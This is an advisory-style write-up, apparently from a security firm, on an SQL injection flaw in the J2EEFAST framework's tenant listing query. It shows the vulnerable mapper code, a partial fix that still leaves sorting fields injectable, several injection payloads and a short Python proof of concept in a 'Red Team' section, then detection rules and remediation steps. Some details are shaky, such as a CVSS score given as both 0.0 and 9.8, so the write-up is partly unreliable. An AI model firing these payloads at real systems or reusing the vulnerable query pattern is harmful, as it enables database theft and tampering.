CVE-2024-35091

Executive Summary

CVE-2024-35091 is a critical SQL injection vulnerability discovered in J2EEFAST v2.7.0, specifically within the findPage function in SysTenantMapper.xml. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and lateral movement within the application. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is rated critical. No public exploit code or patch is currently available, making this a high-priority zero-day for organizations using J2EEFAST.

Supply Chain & Package Security

J2EEFAST is a Java-based rapid development framework. The vulnerability exists in the MyBatis mapper XML file, which is part of the application’s core persistence layer. Since no patch is available, organizations must treat this as a supply chain risk and consider temporary mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and successful exploitation can lead to complete compromise of the database and application.

Deep Dive & Mechanics

The vulnerability resides in the SysTenantMapper.xml file, which defines MyBatis SQL mappings for tenant-related operations. The findPage function is used for paginated queries and likely concatenates user-supplied input directly into SQL statements without proper parameterization or sanitization.

Root Cause: The findPage function uses string concatenation or $ (dollar sign) substitution in MyBatis, which allows direct injection of SQL fragments. For example, a parameter like orderBy or searchValue may be passed unsanitized.

Attack Vector: An attacker can send a crafted HTTP request to the endpoint that triggers findPage, injecting SQL commands via parameters such as page, limit, or custom search fields.

Impact: Successful exploitation can lead to:

• Unauthorized data access (all tenant data)
• Data modification or deletion
• Potential privilege escalation
• Lateral movement to other database resources

Vulnerable vs. Patched Code

Vulnerable Code (v2.7.0 - SysTenantMapper.xml):

<select id="findPage" resultType="com.j2eefast.system.domain.SysTenantEntity">
    SELECT * FROM sys_tenant
    WHERE 1=1
    <if test="params.searchValue != null and params.searchValue != ''">
        AND (tenant_name LIKE '%${params.searchValue}%' OR tenant_code LIKE '%${params.searchValue}%')
    </if>
    ORDER BY ${params.orderBy} ${params.orderDir}
</select>

Note: The use of ${} (string substitution) allows SQL injection.

Patched Code (Hypothetical):

<select id="findPage" resultType="com.j2eefast.system.domain.SysTenantEntity">
    SELECT * FROM sys_tenant
    WHERE 1=1
    <if test="params.searchValue != null and params.searchValue != ''">
        AND (tenant_name LIKE CONCAT('%', #{params.searchValue}, '%') OR tenant_code LIKE CONCAT('%', #{params.searchValue}, '%'))
    </if>
    ORDER BY ${params.orderBy} ${params.orderDir}
</select>

Note: The #{} syntax uses prepared statements for the search value, but orderBy and orderDir remain vulnerable if not whitelisted.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• J2EEFAST v2.7.0 running with default configuration
• Network access to the application

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /system/tenant/list or similar).
2. Craft a malicious request with SQL injection in the searchValue parameter:

   GET /system/tenant/list?page=1&limit=10&searchValue=' OR 1=1-- HTTP/1.1
   Host: target.com
   

3. Use SQL injection to extract data:

   ' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM information_schema.tables--
   

4. For time-based blind injection:

   ' OR IF(1=1, SLEEP(5), 0)--
   

Proof-of-Concept (Python):

import requests

target = "http://target.com/system/tenant/list"
payload = "' OR 1=1--"
params = {"page": "1", "limit": "10", "searchValue": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for SQL injection patterns in HTTP parameters (e.g., ' OR, UNION, SLEEP).
• Use WAF rules to block suspicious SQL keywords.
• Enable database query logging and alert on anomalous queries.

Defense:

• Apply input validation and parameterized queries immediately.
• Restrict database user permissions to least privilege.
• Deploy a Web Application Firewall (WAF) with SQL injection signatures.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing SQL injection patterns in parameters (e.g., searchValue, orderBy, orderDir).
  • Unusual database query patterns (e.g., UNION SELECT, INFORMATION_SCHEMA).
• File IOCs:
  • Modified SysTenantMapper.xml with suspicious SQL fragments.
• Log IOCs:
  • Database error logs showing SQL syntax errors.
  • Application logs with unexpected query parameters.

Detection Engineering

YARA Rule

rule CVE_2024_35091_SQLi_J2EEFAST {
    meta:
        description = "Detects SQL injection attempts targeting J2EEFAST SysTenantMapper findPage"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-35091"
    strings:
        $sqli1 = /searchValue=.*['\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)/i
        $sqli2 = /orderBy=.*['\"]\s*(OR|AND|UNION|SELECT)/i
        $sqli3 = /orderDir=.*['\"]\s*(OR|AND|UNION|SELECT)/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against J2EEFAST SysTenantMapper
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection patterns in HTTP requests to J2EEFAST tenant endpoints
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/system/tenant/list'
            - '/system/tenant/page'
        cs-uri-query|re:
            - 'searchValue=.*['\''\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)'
            - 'orderBy=.*['\''\"]\s*(OR|AND|UNION|SELECT)'
            - 'orderDir=.*['\''\"]\s*(OR|AND|UNION|SELECT)'
    condition: selection
falsepositives:
    - Legitimate use of special characters in search queries (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-35091 SQL Injection Attempt Against J2EEFAST SysTenantMapper";
    flow:to_server,established;
    content:"/system/tenant/list"; http_uri;
    pcre:"/(searchValue|orderBy|orderDir)=.*['\''\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not critical for business operations.
2. Apply input validation for all parameters passed to findPage (whitelist allowed values for orderBy and orderDir).
3. Use parameterized queries (#{} in MyBatis) for all user-supplied data.
4. Deploy a WAF with SQL injection rules.

Long-term Fix:

• Upgrade to a patched version once available.
• Conduct a full code review of all MyBatis mapper files for similar injection points.
• Implement static analysis tools (e.g., SonarQube) to detect SQL injection patterns.

Workaround:

• Modify SysTenantMapper.xml to use #{} for search values and whitelist orderBy/orderDir values.

Valters IT